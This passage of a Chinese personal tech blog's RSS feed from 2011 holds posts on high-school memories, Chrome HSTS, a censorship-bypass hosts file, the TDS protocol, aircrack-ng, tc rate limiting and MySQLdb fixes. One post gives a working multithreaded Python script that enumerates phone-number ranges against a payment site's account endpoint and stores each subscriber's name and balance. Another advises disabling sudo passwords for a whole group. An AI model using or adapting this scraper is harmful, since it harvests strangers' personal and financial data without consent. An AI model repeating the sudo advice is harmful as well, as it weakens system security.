<p>第一次看到诸如冲动的小赖跑到隔壁班推翻桌子当着全班的面对着某女生说我喜欢你的奇幻画面；</p>
<p>日记从流水帐变成了记录真实，真实到暗恋某个女生都写上去了，结果不久前被S.H翻我日记时发现，囧;</p>
<p>在高中第一次当班长，以前都是当劳动委员，那时每天都是勤勤恳恳地工作；</p>
<p>一直记得艺术节时舞台后面是两块墓地，拿着相机帮人拍暗恋的女生，相片至今还在；</p>
<p>第一次听说学生会，而学生会唯一吸引我的是那台虽然很老但是竟然可以跑起星际的PII；</p>
<p>第一次叫救护车，在学校外的铁桥下，尴尬的是半个多小时后救护车来时我已经缓过来了；</p>
<p>印象中那会儿体弱多病，经常因为各种原因去医院，有几次还是死去活来的；</p>
<p>高二第一次上论坛，随后常驻萍中论坛灌水，期间跟一个南大的学长一起弄过个论坛，被人黑了之后就挂掉了；</p>
<p>在某次萍中论坛“被黑”之后（后来知道只是密码泄漏）对各类网络安全皮毛疯狂地学习，成功地‘入侵’了学校服务器并到办公室跟维护的老师修补维护；</p>
<p>不久之后第一次不借助工具搞定了市政府一台服务器，“自首”后结实了第一个职业搞安全的朋友；</p>
<p>跟狒狒等人一起以机器人比赛训练之名天天中午一起玩皮卡丘，那段日子太让人回味了；</p>
<p>机器人比赛因为很小的一点失误加上一点裁判不公我们遗憾+不忿地立场；</p>
<p></p>
<p style="margin-top:5px;margin-right:0px;margin-bottom:5px;margin-left:0px;">上最后几节体育课前从二楼摔下来断了右腿，多亏舅公妙手回春否则就不能高考了，恢复期间享受了各种“优待”；</p>
<p></p>
<p>高三在学校附近租房子，其实高三一直没有感觉太大的压力，自我感觉太过良好，太多的没有尽力；</p>
<p>貌似是因为体育没有达标，每天晚上独自跑五千米，后来镇望TX天天陪我跑，很感动；</p>
<p>应该是在萍中的广场前，完成了成人礼，当时基本上没有什么感觉</p>
<p>&nbsp;</p>
<p>初中时有些自以为是却又羞涩得可以（基本上没跟女生打过交道）；</p>
<p>高中做事有点缺根筋，想法很自我，有些不切实际；</p>
<p>不过那时做事情相当之专注，现在很难找回那种单一专注的心境。</p>
<p>&nbsp;</p><div id="related_log" style="font-size:14px;line-height:24pt"><p><b>你可能还感兴趣：</b></p><p><a href="http://www.holmesian.org/20_80">20%-80%</a></p></div>]]></description>
	<pubDate>Tue, 02 Aug 2011 13:26:39 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/My-High-school</guid>

</item>
<item>
	<title>Chrome无插件实现强制SSL连接</title>
	<link>http://www.holmesian.org/chrome-ssl-only</link>
	<description><![CDATA[<span class="Apple-style-span" style="border-collapse:collapse;font-family:arial, sans-serif;line-height:normal;"><p>配合上一篇<a href="/post/872" target="_blank">文章</a>，提供一个让chrome浏览器自动强制某个域名（包括子域名）自动使用https方式访问的方法：</p>
<p>&nbsp;</p>
<p></p>
<div id="kindeditor" class="quote"><p>地址栏输入chrome://net-internals/</p>
<p>&nbsp;</p>
<p>在HSTS的标签栏里Domain里填上需要访问的domain，比如twitter.com然后选中Include subdomains点击Add按钮即可，可以加多个域这样所有访问这个域名（包括子域名）都自动转到https了</p>
<p>&nbsp;</p>
<p>相关的扩展可以卸载了，绿色又环保。</p>
</div>
<p></p>
</span><div id="related_log" style="font-size:14px;line-height:24pt"><p><b>你可能还感兴趣：</b></p><p><a href="http://www.holmesian.org/csrf-router-hacking">另类路由攻击</a></p><p><a href="http://www.holmesian.org/host-ssl-Pass-G-F-W">墙内上推、youtube、google+、Facebook等</a></p><p><a href="http://www.holmesian.org/ubuntu-chromium">Ubuntu10.04下chromium无法输入内容</a></p><p><a href="http://www.holmesian.org/UC_fuck_GFW">手机穿墙利器UC_USA_V3.sis</a></p><p><a href="http://www.holmesian.org/TelexShell">[转]TelexShell – 图形化的Telex</a></p></div>]]></description>
	<pubDate>Mon, 01 Aug 2011 14:28:01 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/chrome-ssl-only</guid>

</item>
<item>
	<title>墙内上推、youtube、google+、Facebook等</title>
	<link>http://www.holmesian.org/host-ssl-Pass-G-F-W</link>
	<description><![CDATA[<p>用附件的HOST文件覆盖你当前的</p>
<p>用<a href="https://twitter.com/#!/">https://twitter.com/</a>访问twitter</p>
<p><a href="https://www.facebook.com/">https://www.facebook.com/</a>访问facebook</p>
<p>youtube则直接访问<a href="http://youtube.com/">http://youtube.com/</a>，速度都杠杠的……</p><div id="related_log" style="font-size:14px;line-height:24pt"><p><b>你可能还感兴趣：</b></p><p><a href="http://www.holmesian.org/UC_fuck_GFW">手机穿墙利器UC_USA_V3.sis</a></p><p><a href="http://www.holmesian.org/chrome-ssl-only">Chrome无插件实现强制SSL连接</a></p><p><a href="http://www.holmesian.org/TelexShell">[转]TelexShell – 图形化的Telex</a></p></div>]]></description>
	<pubDate>Sun, 31 Jul 2011 06:17:51 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/host-ssl-Pass-G-F-W</guid>

</item>
<item>
	<title>关于TDS</title>
	<link>http://www.holmesian.org/Microsoft-TDS</link>
	<description><![CDATA[<p>&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; TDS协议(Tabular Data Stream Protocol)是Microsoft未公开的协议之一，不过不少人都在研究这个，TDS协议的密码是明文传输而且数据传输加密方式及其简单再加上各种溢出漏洞都层出不穷，所以受到不少觊觎某数据库的TX的青睐。关于TDS协议的具体分析可以参考<a href="http://cubist.cs.washington.edu/doc/FreeTDS/tds.html" target="_blank">国外的一篇文章</a>，TDS协议与其支持的产品对应关系如下：</p>
<p></p>
<p></p>
<div id="kindeditor" class="quote"><p>&nbsp; &nbsp; &nbsp;&nbsp;4.2 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Sybase SQL Server &lt; 10 and Microsoft SQL Server 6.5</p>
<p>　　5.0 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Sybase SQL Server &gt;= 10</p>
<p>　　7.0 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Microsoft SQL Server 7.0</p>
<p>　　7.1 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Microsoft SQL Server 2000</p>
<p>　　7.2 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Microsoft SQL Server 2005</p>
</div>
<p></p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;TDS是一种包含一系列描述两个计算机间如何传输数据规则的协议。与别的协议类似，它定义了传输信息的类型和他们传输的顺序。表格数据流协议是建立在TCP/IP Net-Library之上的，包含在TCP数据段内。TDS用1433端口进行数据库通信。</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;TDS客户端使用称为表格格式数据流 (TDS) 的 SQL Server 专用应用程序级协议来发送 SQL 语句。数据包由用于 SQL Server 的 Microsoft OLE DB 提供程序、SQL Server ODBC 驱动程序或 DB-Library DLL 生成。TDS 数据包然后被传递给 SQL Server 客户端 Net-Library，客户端 Net-Library 将 TDS 数据包封装为网络协议数据包。在服务器上，服务器 Net-Library 接收网络协议数据包，且析取 TDS 数据包并将其传递给关系数据库服务器。在将结果返回给客户端时，这一进程反向执行。</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp; 微软TDS的手册见附件</p>
<p></p>
<div id="kindeditor" class="annotate"><p>TDS是sybase传送规则表格数据的专用协议</p>
<p>·与传送的语言无关</p>
<p>·与传送的数据无关（长度，字节顺序）</p>
<p>·与具体的网络或硬件平台无关</p>
<p>·是单一的协议</p>
<p>TDS协议的最大优点是，它负责处理所有数据传送细节。</p>
</div>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p></p>
<p></p>]]></description>
	<pubDate>Thu, 21 Jul 2011 03:39:46 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/Microsoft-TDS</guid>

</item>
<item>
	<title>Ubuntu自制控制触摸板开关的快捷键</title>
	<link>http://www.holmesian.org/ubuntu-toupad</link>
	<description><![CDATA[<p>&nbsp; &nbsp; &nbsp; &nbsp; 给Ubuntu添加一个简易的触摸板开关的快捷键：先在系统》硬盘快捷键》新建一个自定义命令，在命令里输入~/toupad，再给这个自定义命令添加一个自己习惯的快捷键，之后就可以用这个快捷键开关触摸板了。</p>
<p>&nbsp;</p>
<p>toupad的内容如下：</p>
<p></p>
<pre class="brush:shell; toolbar: true;gutter: true;auto-links: false;">if [ -e /tmp/a ];then
	sudo modprobe psmouse
	rm /tmp/a
else
	sudo rmmod psmouse 
	touch /tmp/a
fi</pre><br />
记得给toupad加上执行权限chmod u+x ~/toupad，没什么技术含量但是很实用。<p></p>
<p></p>
<div id="kindeditor" class="note">由于我设置了当前用户使用sudo时不输入密码，要用上面脚本的话最好跟我一样再sudoer中将密码去掉（自己的个人电脑无所谓的），或者是将toupad的所有者改为root再添加一个s位的超级权限让上面脚本以最高权限执行就可以不用sudo了。</div>
<div id="kindeditor" class="note"><br />
</div>
<div id="kindeditor" class="note">去掉sudo输入密码的方法：</div>
<div id="kindeditor" class="note"><pre class="brush:shell; toolbar: true; auto-links: true;">sudo gedit /etc/sudoers</pre>添加%admin ALL=(ALL) NOPASSWD: NOPASSWD :ALL</div>
<div id="kindeditor" class="note"><br />
</div>
<div id="kindeditor" class="note"><br />
</div>
<div id="kindeditor" class="note"><br />
</div>
<div id="kindeditor" class="note"><br />
</div>
<div id="kindeditor" class="note"><br />
</div>
<p></p><div id="related_log" style="font-size:14px;line-height:24pt"><p><b>你可能还感兴趣：</b></p><p><a href="http://www.holmesian.org/post/478">ubuntu配置文件对照表</a></p><p><a href="http://www.holmesian.org/ubuntu-aircrack">Ubuntu编译安装支持中文SSID的aircrack1.1</a></p><p><a href="http://www.holmesian.org/Ubuntu-Geexbox">Linux系统问题-Ubuntu-Geexbox</a></p><p><a href="http://www.holmesian.org/post/487">Zenoss stack for ubuntu</a></p><p><a href="http://www.holmesian.org/post/489">Ubuntu网络探嗅软件</a></p><p><a href="http://www.holmesian.org/ubuntu-pdf">彻底解决Ubuntu看Pdf乱码的问题</a></p></div>]]></description>
	<pubDate>Sat, 16 Jul 2011 06:47:04 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/ubuntu-toupad</guid>

</item>
<item>
	<title>Ubuntu编译安装支持中文SSID的aircrack1.1</title>
	<link>http://www.holmesian.org/ubuntu-aircrack</link>
	<description><![CDATA[<div>&nbsp; &nbsp; Aircrack套件1.1版本只是修复了溢出漏洞和一些小问题，没有添加什么实质的功能和做大的修改，唯一亮点应该就是加入了airdrop-ng 。由于其原生仍然不支持中文SSID的伪连接，所以要支持中文只能手动修改代码。首先从官网http://www.aircrack-ng.org/下载最新的Aircrack-ng 1.1源码，解压后找到src/aireplay-ng.c的第778行</div>
<div><div id="kindeditor" class="note"><meta http-equiv="content-type" content="text/html; charset=utf-8"><span class="Apple-style-span" style="line-height:19px;"><div><pre class="brush:cpp; toolbar: true; auto-links: true;">if( strlen(opt.r_essid) == 0 || opt.r_essid[0] &lt; 32)
修改为
if( strlen(opt.r_essid) == 0 || (opt.r_essid[0] &lt; 32 &amp;&amp; opt.r_essid[0] &gt; 0) )</pre><br />
</div>
</span></div>
<br />
</div>
<div><br />
</div>
<div>&nbsp;&nbsp;&nbsp;&nbsp;接下来返回上层目录编译，在Ubuntu下直接编译会提示报错：</div>
<div><div id="kindeditor" class="note"><meta http-equiv="content-type" content="text/html; charset=utf-8"><span class="Apple-style-span" style="line-height:19px;"><div>crypto.h:12:26: error: openssl/hmac.h: No such file or directory</div>
<div>crypto.h:13:25: error: openssl/sha.h: No such file or directory</div>
<div>crypto.h:15:25: error: openssl/rc4.h: No such file or directory</div>
<div>crypto.h:16:25: error: openssl/aes.h: No such file or directory</div>
</span></div>
<br />
</div>
<div>解决方法安装libssh开发工具：apt-get install libssh-dev</div>
<div><br />
</div>
<div>编译通过后就可以卸载掉之前用apt-get安装1.0版本的aircrack套件了（sudo apt-get remove aircrack-ng）</div>
<div>&nbsp;&nbsp;</div><div id="related_log" style="font-size:14px;line-height:24pt"><p><b>你可能还感兴趣：</b></p><p><a href="http://www.holmesian.org/post/478">ubuntu配置文件对照表</a></p><p><a href="http://www.holmesian.org/post/490">让我无语的ubuntu目录结构</a></p><p><a href="http://www.holmesian.org/Ubuntu_tcpdump">Ubuntu下的抓包工具tcpdump</a></p><p><a href="http://www.holmesian.org/Ubuntu-tty">Ubuntu 10.04关闭不需要的TTY</a></p><p><a href="http://www.holmesian.org/FireFox_FLash">搞定Ubuntu9.04+FireFox下FLash安装问题</a></p><p><a href="http://www.holmesian.org/post/545">QCAD</a></p></div>]]></description>
	<pubDate>Sat, 16 Jul 2011 02:24:27 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/ubuntu-aircrack</guid>

</item>
<item>
	<title>基于Excel的三国杀</title>
	<link>http://www.holmesian.org/post/867</link>
	<description><![CDATA[<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp; 今天才知道有一个基于Excel的三国杀，真是无奇不有，不得不惊讶强人无处不在。Office 2003以上系列可用，只要将宏启用至中级以上即可，WPS由于不支持VBA所以很无奈无法使用。</p>
<p>&nbsp;</p>
<p>下载地址：http://dl.dbank.com/c0rnfc1d8p</p>
<p>&nbsp;</p>
<p>PS：今天科目二考试通过，考试内容侧方位停车、起伏路、坡道定点与起步。</p><div id="related_log" style="font-size:14px;line-height:24pt"><p><b>你可能还感兴趣：</b></p><p><a href="http://www.holmesian.org/asp-excel-access">ASP实现Excel数据导入ACCESS</a></p><p><a href="http://www.holmesian.org/xls2mdb">完美实现Excel的xls文件转access的MDB文件</a></p><p><a href="http://www.holmesian.org/asp-mdb-excle-2">继续ASP2EXCEL</a></p><p><a href="http://www.holmesian.org/xls-dbf-vb-asp-access-sql">asp将数据库导出各种数据文件</a></p><p><a href="http://www.holmesian.org/asp-excle">ASP生成EXCEL</a></p><p><a href="http://www.holmesian.org/asp-mdb-excle">ASP下MDB转xls</a></p></div>]]></description>
	<pubDate>Fri, 08 Jul 2011 13:22:20 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/post/867</guid>

</item>
<item>
	<title>Linux下使用tc限制单IP网络速度</title>
	<link>http://www.holmesian.org/linux-tc-ddwrt</link>
	<description><![CDATA[<p>&nbsp; &nbsp; 为了让路由更稳定，给路由的DD-WRT添加了一段基于tc的限制单IP流量的启动代码，DD-WRT v24-sp2是采用Linux 2.6.24.111内核，搭载iptables v1.3.7、TC和BusyBox v1.13.4的。</p>
<p>&nbsp;</p>
<p><pre class="brush:shell; toolbar: true; auto-links: true;">#!/bin/sh

IDEV="br0"
ODEV="eth1"

UP="30mbit"
DOWN="30mbit"
 
UPLOAD="1mbit"
DOWNLOAD="2mbit"

MUPLOAD="5mbit"
MDOWNLOAD="8mbit"
 
INET="172.1.1."
IPS="3" 
IPE="253"

tc qdisc del dev $ODEV root 2&gt;/dev/null
tc qdisc del dev $IDEV root 2&gt;/dev/null
 
tc qdisc add dev $ODEV root handle 10: htb default 256
tc qdisc add dev $IDEV root handle 10: htb default 256
 
tc class add dev $ODEV parent 10: classid 10:1 htb rate $UP ceil $UP
tc class add dev $IDEV parent 10: classid 10:1 htb rate $DOWN ceil $DOWN

i=$IPS;
while [ $i -le $IPE ]
do
tc class add dev $ODEV parent 10:1 classid 10:2$i htb rate $UPLOAD ceil $MUPLOAD prio 1
tc qdisc add dev $ODEV parent 10:2$i handle 100$i: pfifo
tc filter add dev $ODEV parent 10: protocol ip prio 100 handle 2$i fw classid 10:2$i
tc class add dev $IDEV parent 10:1 classid 10:2$i htb rate $DOWNLOAD ceil $MDOWNLOAD prio 1
tc qdisc add dev $IDEV parent 10:2$i handle 100$i: pfifo
tc filter add dev $IDEV parent 10: protocol ip prio 100 handle 2$i fw classid 10:2$i
iptables -t mangle -A PREROUTING -s $INET$i -j MARK --set-mark 2$i
iptables -t mangle -A PREROUTING -s $INET$i -j RETURN
iptables -t mangle -A POSTROUTING -d $INET$i -j MARK --set-mark 2$i
iptables -t mangle -A POSTROUTING -d $INET$i -j RETURN
i=`expr $i + 1`
done</pre></p>
<p>&nbsp;</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;添加启动脚本后使用tc qdisc ls dev br0、<span class="Apple-style-span" style="font-family:Verdana;font-size:12px;line-height:18px;">tc&nbsp;class&nbsp;ls&nbsp;dev br0等命令可以查看效果</span></p>
<p><span class="Apple-style-span" style="font-family:Verdana;font-size:12px;line-height:18px;"><br />
</span></p>
<p><span class="Apple-style-span" style="font-family:Verdana;"><span class="Apple-style-span" style="font-size:12px;line-height:18px;">此外用iptables禁止P2P只需要简单的一条语句iptables -A FORWARD -m p2p --p2p-protocol fasttrack,bittorrent -j DROP</span></span></p>
<p></p><div id="related_log" style="font-size:14px;line-height:24pt"><p><b>你可能还感兴趣：</b></p><p><a href="http://www.holmesian.org/linux-on-web">太惊讶了，在Web上运行的Linux系统</a></p><p><a href="http://www.holmesian.org/Ubuntu-Geexbox">Linux系统问题-Ubuntu-Geexbox</a></p><p><a href="http://www.holmesian.org/post/459">神奇的超级玛丽玩法</a></p><p><a href="http://www.holmesian.org/FreeBSD_chmod">关于Linux和Unix系统下权限的理解</a></p><p><a href="http://www.holmesian.org/Linux_PPS">非Windows下的P2P视频点播-强烈推荐</a></p><p><a href="http://www.holmesian.org/ubuntu-aircrack-ng">Ubuntu下使用aircrack-ng</a></p></div>]]></description>
	<pubDate>Wed, 06 Jul 2011 12:46:18 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/linux-tc-ddwrt</guid>

</item>
<item>
	<title>Python多线程抓取</title>
	<link>http://www.holmesian.org/python-thread</link>
	<description><![CDATA[<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp; 将前几天<a href="/python-test" target="_blank">初玩Python</a>时写的一小段代码改装成了多线程处理的结构：N个抓取线程加上一个入库进程。基本上注释里已经写得比较清楚了，感觉Python对多线程的支持确实不错，经测试下面的代码在使用100线程抓取时仅占用8MB左右内存和6%左右的CPU：</p>
<p></p>
<pre class="brush:php; toolbar: true;gutter: true;auto-links: false;"><span class="Apple-style-span">#encoding=utf-8
import threading
import random
import time
import MySQLdb
import httplib
import sys
from Queue import Queue

reload(sys)
sys.setdefaultencoding('utf-8')
false="false"
true="true"
mysqlconn1 = MySQLdb.connect(host='localhost', user='root', passwd='justyourpasswd',db='python',charset='utf8')
mysqlconn2 = MySQLdb.connect(host='localhost', user='root', passwd='</span>justyourpasswd',db='python',charset='utf8')  <span class="Apple-style-span">cur1=mysqlconn1.cursor()
cur2=mysqlconn2.cursor()


class GetData(threading.Thread):
    def __init__(self, threadname, queue,start,end):
        global mutex
        self.sharedata = queue #队列
        self.start=start
        self.end=end
        #print "This is ", self.getName(),self.start 
        for yphone in range(self.start,self.end,1):
          #print "线程", threadname,"正在抓取",yphone,"\r"
          yphone=str(yphone)
          globals()["conn"+str(threadname)].request('GET', '/ec3/getAccountFee.do?flag=1&amp;mobileId='+yphone+'&amp;partnerId=M79101&amp;provCode=791&amp;servId=00')
          #print globals()["conn"+str(threadname)].getresponse().read()
          comeback=eval(globals()["conn"+str(threadname)].getresponse().read())
          #print comeback.has_key('minFee')
          if comeback['moPreFee']!='' and comeback.has_key('minFee')==True:#不支持号段处理问题
            #print "Num:",yphone,"Name:",comeback['customName'].replace(" ",""),"Fee:",comeback['moPreFee']
            runsql="select * from test where phone="+yphone+" and date=\'"+time.strftime('%Y-%m-%d',time.localtime(time.time()))+"\'"
            if comeback['moPreFee']!='':
                fee=comeback['moPreFee']
            else:
                fee='-'+comeback['minFee']  #欠费的处理           
            mutex.acquire()  #获得锁防止Mysql出问题
            if cur1.execute(runsql)!=1 :
              runsql="insert  into test (phone,name,cash,date) values ("+yphone+",\'"+comeback['customName'].replace(" ","").decode('utf-8')+"\' ,"+fee+" , \'"+ time.strftime('%Y-%m-%d',time.localtime(time.time()))+"\')" 
              self.sharedata.put(runsql)
              #print yphone,"已获取"
            #else:
              #print yphone,"被丢弃"
            mutex.release()  #释放锁

 
  
class AddData(threading.Thread):
    def __init__(self, threadname, queue):
        global shutdown
        threading.Thread.__init__(self, name = threadname)
        self.sharedata = queue  #获取队列

    def run(self):
        while "True":
          if self.sharedata.qsize()&gt;0: #判断队列长度
            runsql=self.sharedata.get()
            state=cur2.execute(runsql)
            if state==1:
              print '队列中有',self.sharedata.qsize(),'条数据'
              state=0
              time.sleep(0.1)
          else:
              print "等待数据.."
              time.sleep(3.0)    #休息一下
          if shutdown==1 and self.sharedata.qsize()==0:
            break
        


def main(worker):
    global mutex,shutdown
    shutdown=0
    threads = []    #线程池
    queue = Queue() #创建一个队列
    mutex = threading.Lock()  #创建一个锁
    
    for x in xrange(worker):
      threads.append(threading.Thread(target=GetData, args=(str(x),queue,15870090000+x*1000,15870090000+(x+1)*1000)))  #创建需要个数的抓取线程

    AddDataer = AddData('AddData', queue)  #创建接收入库线程
    print '启动线程 ...'
    for t in threads:
        t.start()                 #启动抓取线程
    AddDataer.setDaemon("True")   #将接受入库线程设置为Daemon，让其随主进程结束而消亡
    AddDataer.start()             #启动入库进程
    for t in threads:
        t.join()                  #等待所有的抓取线程结束
    print '抓取线程已经结束'
    shutdown=1
    AddDataer.join(120)           #120秒后写入进程超时退出
    print '所有线程已经结束'
    
    
if __name__ == '__main__':
    worker=input('设置抓取线程数 ')  
    if worker &lt; 0 :
      worker=1
    for c in xrange(worker):
      globals()["conn"+str(c)]= httplib.HTTPConnection("payment.umpay.com")  #关于globals()和locals()  创建需要个数的httplib实例
    main(worker)</span></pre>&nbsp;<p></p>
<p><span class="Apple-style-span" style="font-family:'[object HTMLOptionElement]', Consolas, 'Lucida Console', 'Courier New';font-size:14px;line-height:normal;">&nbsp; &nbsp;&nbsp;</span></p>
<p><span class="Apple-style-span" style="font-family:'[object HTMLOptionElement]', Consolas, 'Lucida Console', 'Courier New';line-height:normal;"><span class="Apple-style-span" style="font-family:'sans serif', tahoma, verdana, helvetica;line-height:19px;">记录一下用到的知识点：</span></span></p>
<p></p>
<div id="kindeditor" class="annotate"><span class="Apple-style-span" style="font-size:13px;"><p style="margin-top:5px;margin-right:0px;margin-bottom:5px;margin-left:0px;"><b>关于xrange()和range()的区别</b>，简单的来说range会返回一个list对象而xrange生成的相应的单个数字，所以用xrange做循环的性能比range好，尤其是循环量很大的时候。</p>
<p style="margin-top:5px;margin-right:0px;margin-bottom:5px;margin-left:0px;">&nbsp;</p>
<p style="margin-top:5px;margin-right:0px;margin-bottom:5px;margin-left:0px;"><b>关于setDaemon()</b>，线程对象的setDaemon()可用参数参数为bool型。当设置为True时就表示当主线程退出时，子线程不能拖后腿也要一同退出；设置为False的时候，主线程允许子线程“将在外军命有所不受”不要一同退出。需要注意的是setDaemon()方法必须在线程对象没有调用start()方法之前调用，否则没效果。</p>
<p style="margin-top:5px;margin-right:0px;margin-bottom:5px;margin-left:0px;">&nbsp;</p>
<p style="margin-top:5px;margin-right:0px;margin-bottom:5px;margin-left:0px;"><b>关于globals()和locals()</b>，locals 和globals是Python的两个内置函数，它们提供了基于字典的访问局部和全局变量的方式，可以随意读取甚至修改变量是其强大之处，其中locals 是只读的而globals 是可读可写的，两者在查找变量时都按照局部、全局、内置的顺序。</p>
</span></div>
&nbsp;<p></p>
<p>&nbsp;</p>
<p><b><br />
</b></p><div id="related_log" style="font-size:14px;line-height:24pt"><p><b>你可能还感兴趣：</b></p><p><a href="http://www.holmesian.org/python-test">初用python</a></p><p><a href="http://www.holmesian.org/10086_SMS">来自10086的……</a></p><p><a href="http://www.holmesian.org/python-fetch">Python抓取教务处信息</a></p><p><a href="http://www.holmesian.org/python-diff"> python3.1与python2.x的区别</a></p><p><a href="http://www.holmesian.org/Python-MySQLdb">让Python支持Mysql</a></p><p><a href="http://www.holmesian.org/python-penrose-tiling">神奇的Python混乱代码</a></p></div>]]></description>
	<pubDate>Tue, 05 Jul 2011 07:48:11 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/python-thread</guid>

</item>
<item>
	<title>让Python支持Mysql</title>
	<link>http://www.holmesian.org/Python-MySQLdb</link>
	<description><![CDATA[<div>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp; 在给Python安装Mysql支持时使用源码安装，结果出现了如下提示：<pre class="brush:php; toolbar: true;gutter: true;auto-links: false;">D:\tddownload\Software\MySQL-python-1.2.3&gt;python setup.py build
Traceback (most recent call last):
  File "setup.py", line 15, in &lt;module&gt;
    metadata, options = get_config()
  File "D:\tddownload\Software\MySQL-python-1.2.3\setup_windows.py", line 7, in
get_config
    serverKey = _winreg.OpenKey(_winreg.HKEY_LOCAL_MACHINE, options['registry_ke
y'])
WindowsError: [Error 2]</pre>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp; Google出了一个差不多的情况<a href="http://www.fuyun.org/2009/12/install-mysql-for-python-on-windows/">http://www.fuyun.org/2009/12/install-mysql-for-python-on-windows/</a>，人家是版本不对导致的问题，而我这里因为使用的是PHPnow的套件所以他提供的解决方法无效。据说解决此问题的另一个方法是使用了exe的已编译版本，<a href="http://stackoverflow.com/questions/645943/mysql-for-python-in-windows">http://stackoverflow.com/questions/645943/mysql-for-python-in-windows</a>，下载安装之后发现又来的新的问题：</div>
<div><pre class="brush:php; toolbar: true;gutter: true;auto-links: false;">&gt;&gt;&gt; import MySQLdb
Traceback (most recent call last):
  File "&lt;stdin&gt;", line 1, in &lt;module&gt;
  File "MySQLdb\__init__.py", line 23, in &lt;module&gt;
    (version_info, _mysql.version_info))
ImportError: this is MySQLdb version (1, 2, 3, 'final', 0), but _mysql is versio
n (1, 2, 2, 'final', 0)</pre></div>
<div>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp; 问题出在安装的两个版本混淆了（1.2.3和1.2.2），将两个版本都删除干净后重新通过exe的已编译版本安装，终于可以导入了mysqldb模块，不过再次出现了新的问题：<br />
</div>
<div><pre class="brush:php; toolbar: true;gutter: true;auto-links: false;">E:\Python26\lib\site-packages\MySQLdb\__init__.py:34: DeprecationWarning: the se
ts module is deprecated
  from sets import ImmutableSet</pre></div>
<blockquote class="webkit-indent-blockquote" style="margin:0 0 0 40px;border:none;padding:0px;"><div><div>解决办法：</div>
</div>
<div><div>找到Python26\lib\site-packages\MySQLdb下的__init__.py文件</div>
</div>
<div><div>1) 在文件中 "__init__", 注释掉:</div>
</div>
<div><div>from sets import ImmutableSet</div>
</div>
<div><div>class DBAPISet(ImmutableSet):</div>
</div>
<div><div>新增:</div>
</div>
<div><div>class DBAPISet(frozenset):</div>
</div>
<div><div><br />
</div>
</div>
<div><div>2) 在文件中"converters.py", 注释掉 &nbsp;from sets import BaseSet, Set 这一句话。</div>
</div>
<div><div><br />
</div>
</div>
<div><div>3) 在文件中"converters.py", 修改 "Set" 成为 "set" ( 只有两个地方需要修改):</div>
</div>
</blockquote>
<blockquote class="webkit-indent-blockquote" style="margin:0 0 0 40px;border:none;padding:0px;"><blockquote class="webkit-indent-blockquote" style="margin:0 0 0 40px;border:none;padding:0px;"><div><div>&nbsp; line 48: return Set([ i for i in s.split(',') if i ]) &nbsp;改为 return set([ i for i in s.split(',') if i ])</div>
</div>
</blockquote>
<blockquote class="webkit-indent-blockquote" style="margin:0 0 0 40px;border:none;padding:0px;"><div><div>&nbsp; line 129: Set: Set2Str 改为 set: Set2Str</div>
</div>
<div><br />
</div>
</blockquote>
</blockquote>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;原因大概是由于Python<span class="Apple-style-span" style="font-family:fixed-width, monospace;font-size:12px;line-height:normal;">2.4版本中set不是内置的类型，要从sets导入，而到了现在常用的2.5和2.6中set已经是内置的所以会有出现相应的问题。</span></p>
<p><span class="Apple-style-span" style="font-family:'fixed-width, monospace';"><span class="Apple-style-span" style="font-size:12px;line-height:normal;"><br />
</span></span></p>
<p><span class="Apple-style-span" style="font-family:'fixed-width, monospace';"><span class="Apple-style-span" style="font-size:12px;line-height:normal;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 现在终于可以用<span class="Apple-style-span" style="font-family:'sans serif', tahoma, verdana, helvetica;font-size:13px;line-height:19px;">mysqldb了……</span></span></span></p>
<div></div><div id="related_log" style="font-size:14px;line-height:24pt"><p><b>你可能还感兴趣：</b></p><p><a href="http://www.holmesian.org/python-penrose-tiling">神奇的Python混乱代码</a></p><p><a href="http://www.holmesian.org/MySQL_0Day">最新MySQL 0day利用代码</a></p><p><a href="http://www.holmesian.org/FreeBSD-mysql-backup">FreeBSD用Automysqlbackup备份mysql数据库</a></p><p><a href="http://www.holmesian.org/python-thread">Python多线程抓取</a></p><p><a href="http://www.holmesian.org/mysql-optimization">针对mysql写入的优化设置</a></p><p><a href="http://www.holmesian.org/FreeBSD_mysql_GBK">FreeBSD下Mysql的字符集问题</a></p></div>]]></description>
	<pubDate>Mon, 04 Jul 2011 06:15:45 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/Python-MySQLdb</guid>

</item>
<item>
	<title>删除win7中多余的本地连接</title>
	<link>http://www.holmesian.org/win7-isatap-devcon</link>
